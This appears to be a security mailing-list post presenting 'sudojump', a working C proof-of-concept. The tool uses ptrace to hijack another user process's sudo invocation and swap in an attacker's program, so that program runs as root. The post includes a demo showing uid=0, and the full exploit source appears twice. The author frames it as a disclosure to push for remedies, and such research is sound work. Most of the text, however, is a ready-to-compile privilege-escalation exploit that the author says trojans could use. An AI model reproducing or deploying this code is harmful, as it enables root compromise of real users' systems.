For many years now I've been making the claim that one can use the ptrace api to intecept the execution of sudo of another process (running as the same user) and replace the requested command with your own. For example, if a user was to do: sudo apt-get install foo Password: ... they are instructing sudo to run apt-get, but an attacker can use the ptrace api to insert a new argument before apt-get which invokes their own program, which might do something malicious and then execute the original command requested of the user. This could be useful to an attacker in a number situations. For example, if the attacker has aquired access to a given account and notes that the account owner executes sudo, he can use this technique to escalate his privileges. Perhaps more importantly, however, is that a trojan or a virus can use this technique to get root whereby its capability is greatly increased. Similar attacks can be directed at su and other suid/sgid programs. All of this is most likely not very much of a surprise to the security community, and I shall not present any possible remedy, except to say that ptrace is necessarily a very capable api and should not be implicated as "the" cause of this potential insecurity. My purpose of writing this post is to provide demonstration code that, I hope, will clarify any misunderstandings about the potiential of this technique, and move it from the often ignored domain of theoretical to practical threat so that it may be suitably addressed. See below or attached. Trent ----------------- Example of use. Start a new xterm: trentw@linux:~/work/sudojump$ ps PID TTY TIME CMD 1153 pts/5 00:00:00 bash 1163 pts/5 00:00:00 ps In other xterm: trentw@linux:~/work/sudojump$ ./sudojump -d 1153 /usr/bin/id execve (/usr/bin/sudo) "sudo", "apt-get", "update" Back in xterm with pid 1153: trentw@linux:~/work/sudojump$ sudo apt-get update uid=0(root) gid=0(root) groups=0(root) ----------------- #include <unistd.h> #include <stdio.h> #include <sys/ptrace.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/stat.h> #include <linux/user.h> #include <stdlib.h> #include <getopt.h> #include <string.h> #define MAX_PATH 1024 #define MAX_ARGS 128 #define MAX_ATTACHED_PIDS 1024 int num_attached_pids = 0; pid_t attached_pids[MAX_ATTACHED_PIDS]; void detach(void) { int i; for (i = 0; i < num_attached_pids; i++) if (attached_pids[i] != 0) ptrace(PTRACE_DETACH, attached_pids[i], 0, 0); } void detach_pid(pid_t pid) { int i; for (i = 0; i < num_attached_pids; i++) if (attached_pids[i] == pid) { attached_pids[i] = 0; ptrace(PTRACE_DETACH, pid, 0, 0); } while (attached_pids[num_attached_pids - 1] == 0) num_attached_pids--; } void attach(pid_t pid) { if (num_attached_pids == MAX_ATTACHED_PIDS) { fprintf(stderr, "cannot attach to anymore pids\n"); return; } attached_pids[num_attached_pids] = pid; if (ptrace(PTRACE_ATTACH, pid, 0, 0) == -1) { fprintf(stderr, "error attaching to pid %i\n", pid); return; } num_attached_pids++; } void version() { printf("sudojump version 0.1\n"); } void usage() { printf("usage: sudojump [-c] [-d] [-v] [-h] <pid> <file to exec>\n"); printf(" -d drop original arguments.\n"); printf(" -v prints version info.\n"); printf(" -h prints this help.\n"); printf("\n"); } int main(int argc, char **argv) { if (argc < 2) { usage(); return 1; } int droporiginalargs = 0; int opt; while ((opt = getopt(argc, argv, "vdh")) != -1) { switch(opt) { case 'd': droporiginalargs = 1; break; case 'v': version(); return 1; case 'h': usage(); return 1; } } const char *jumpto = argv[optind + 1]; attach(atoi(argv[optind])); if (num_attached_pids == 0) return 1; atexit(detach); ptrace(PTRACE_SYSCALL, attached_pids[0], 0, 0); int count = 0; for(;;) { int status; int pid = wait(&status); if (WIFSTOPPED(status)) { struct user_regs_struct regs; ptrace(PTRACE_GETREGS, pid, 0, ®s); if (regs.orig_eax == 2 || regs.orig_eax == 120) { if (regs.eax > 0) { attach(regs.eax); } } if (regs.orig_eax == 11 && regs.ecx) { int i; char path[MAX_PATH]; unsigned int argptrs[MAX_ARGS]; char *args[MAX_ARGS]; int argcount; // get the path of the file to be executed path[MAX_PATH - 1] = 0; for (i = 0; i < MAX_PATH - 1; i++) { unsigned int c = ptrace(PTRACE_PEEKTEXT, pid, regs.ebx + i, 0); path[i] = c & 0xff; if ((c & 0xff) == 0) break; } // get the pointers for the arguments being passed argptrs[MAX_ARGS - 1] = 0; for (i = 0; i < MAX_ARGS - 1; i++) { unsigned int p = ptrace(PTRACE_PEEKTEXT, pid, regs.ecx + i * 4, 0); argptrs[i] = p; if (p == 0) break; } // now get the arguments for (i = 0; argptrs[i]; i++) { int j; // get length of arg string for (j = 0; ; j++) { unsigned int c = ptrace(PTRACE_PEEKTEXT, pid, argptrs[i] + j, 0); if ((c & 0xff) == 0) break; } args[i] = malloc(j + 1); // get the string for (j = 0; ; j++) { unsigned int c = ptrace(PTRACE_PEEKTEXT, pid, argptrs[i] + j, 0); args[i][j] = c & 0xff; if ((c & 0xff) == 0) break; } } args[i] = 0; argcount = i; // print out the path and the arguments, for reference printf("execve (%s)", path); for (i = 0; args[i]; i++) { if (i != 0) putchar(','); printf(" \"%s\"", args[i]); } printf("\n"); // if the file being run is sudo, run our file instead if (!strcmp(path, "/usr/bin/sudo")) { // firstly, forget about it if they're passing options // (this is left as an exercise to the reader) if (args[1][0] != '-') { regs.esp -= strlen(jumpto) + 1 + 4 * (argcount + 2); for (i = 0; jumpto[i]; i++) ptrace(PTRACE_POKETEXT, pid, regs.esp + i, jumpto[i]); regs.ecx = regs.esp + i + 1; ptrace(PTRACE_POKETEXT, pid, regs.ecx, argptrs[0]); ptrace(PTRACE_POKETEXT, pid, regs.ecx + 4, regs.esp); if (droporiginalargs) { ptrace(PTRACE_POKETEXT, pid, regs.ecx + 8, 0); } else { for (i = 1; i < argcount + 1; i++) ptrace(PTRACE_POKETEXT, pid, regs.ecx + 4 + i * 4, argptrs[i]); } ptrace(PTRACE_SETREGS, pid, 0, ®s); } } // if the file being run is suid or sgid, we must detach now // otherwise it will not run with those permissions struct stat st; if (stat(path, &st) == 0 && ((st.st_mode & S_ISUID) || (st.st_mode & S_ISGID))) { detach_pid(pid); pid = 0; } // free args for (i = 0; args[i]; i++) free(args[i]); } if (pid) ptrace(PTRACE_SYSCALL, pid, 0, 0); } } return 0; }
#include <unistd.h> #include <stdio.h> #include <sys/ptrace.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/stat.h> #include <linux/user.h> #include <stdlib.h> #include <getopt.h> #include <string.h> #define MAX_PATH 1024 #define MAX_ARGS 128 #define MAX_ATTACHED_PIDS 1024 int num_attached_pids = 0; pid_t attached_pids[MAX_ATTACHED_PIDS]; void detach(void) { int i; for (i = 0; i < num_attached_pids; i++) if (attached_pids[i] != 0) ptrace(PTRACE_DETACH, attached_pids[i], 0, 0); } void detach_pid(pid_t pid) { int i; for (i = 0; i < num_attached_pids; i++) if (attached_pids[i] == pid) { attached_pids[i] = 0; ptrace(PTRACE_DETACH, pid, 0, 0); } while (attached_pids[num_attached_pids - 1] == 0) num_attached_pids--; } void attach(pid_t pid) { if (num_attached_pids == MAX_ATTACHED_PIDS) { fprintf(stderr, "cannot attach to anymore pids\n"); return; } attached_pids[num_attached_pids] = pid; if (ptrace(PTRACE_ATTACH, pid, 0, 0) == -1) { fprintf(stderr, "error attaching to pid %i\n", pid); return; } num_attached_pids++; } void version() { printf("sudojump version 0.1\n"); } void usage() { printf("usage: sudojump [-c] [-d] [-v] [-h] <pid> <file to exec>\n"); printf(" -d drop original arguments.\n"); printf(" -v prints version info.\n"); printf(" -h prints this help.\n"); printf("\n"); } int main(int argc, char **argv) { if (argc < 2) { usage(); return 1; } int droporiginalargs = 0; int opt; while ((opt = getopt(argc, argv, "vdh")) != -1) { switch(opt) { case 'd': droporiginalargs = 1; break; case 'v': version(); return 1; case 'h': usage(); return 1; } } const char *jumpto = argv[optind + 1]; attach(atoi(argv[optind])); if (num_attached_pids == 0) return 1; atexit(detach); ptrace(PTRACE_SYSCALL, attached_pids[0], 0, 0); int count = 0; for(;;) { int status; int pid = wait(&status); if (WIFSTOPPED(status)) { struct user_regs_struct regs; ptrace(PTRACE_GETREGS, pid, 0, ®s); if (regs.orig_eax == 2 || regs.orig_eax == 120) { if (regs.eax > 0) { attach(regs.eax); } } if (regs.orig_eax == 11 && regs.ecx) { int i; char path[MAX_PATH]; unsigned int argptrs[MAX_ARGS]; char *args[MAX_ARGS]; int argcount; // get the path of the file to be executed path[MAX_PATH - 1] = 0; for (i = 0; i < MAX_PATH - 1; i++) { unsigned int c = ptrace(PTRACE_PEEKTEXT, pid, regs.ebx + i, 0); path[i] = c & 0xff; if ((c & 0xff) == 0) break; } // get the pointers for the arguments being passed argptrs[MAX_ARGS - 1] = 0; for (i = 0; i < MAX_ARGS - 1; i++) { unsigned int p = ptrace(PTRACE_PEEKTEXT, pid, regs.ecx + i * 4, 0); argptrs[i] = p; if (p == 0) break; } // now get the arguments for (i = 0; argptrs[i]; i++) { int j; // get length of arg string for (j = 0; ; j++) { unsigned int c = ptrace(PTRACE_PEEKTEXT, pid, argptrs[i] + j, 0); if ((c & 0xff) == 0) break; } args[i] = malloc(j + 1); // get the string for (j = 0; ; j++) { unsigned int c = ptrace(PTRACE_PEEKTEXT, pid, argptrs[i] + j, 0); args[i][j] = c & 0xff; if ((c & 0xff) == 0) break; } } args[i] = 0; argcount = i; // print out the path and the arguments, for reference printf("execve (%s)", path); for (i = 0; args[i]; i++) { if (i != 0) putchar(','); printf(" \"%s\"", args[i]); } printf("\n"); // if the file being run is sudo, run our file instead if (!strcmp(path, "/usr/bin/sudo")) { // firstly, forget about it if they're passing options // (this is left as an exercise to the reader) if (args[1][0] != '-') { regs.esp -= strlen(jumpto) + 1 + 4 * (argcount + 2); for (i = 0; jumpto[i]; i++) ptrace(PTRACE_POKETEXT, pid, regs.esp + i, jumpto[i]); regs.ecx = regs.esp + i + 1; ptrace(PTRACE_POKETEXT, pid, regs.ecx, argptrs[0]); ptrace(PTRACE_POKETEXT, pid, regs.ecx + 4, regs.esp); if (droporiginalargs) { ptrace(PTRACE_POKETEXT, pid, regs.ecx + 8, 0); } else { for (i = 1; i < argcount + 1; i++) ptrace(PTRACE_POKETEXT, pid, regs.ecx + 4 + i * 4, argptrs[i]); } ptrace(PTRACE_SETREGS, pid, 0, ®s); } } // if the file being run is suid or sgid, we must detach now // otherwise it will not run with those permissions struct stat st; if (stat(path, &st) == 0 && ((st.st_mode & S_ISUID) || (st.st_mode & S_ISGID))) { detach_pid(pid); pid = 0; } // free args for (i = 0; args[i]; i++) free(args[i]); } if (pid) ptrace(PTRACE_SYSCALL, pid, 0, 0); } } return 0; }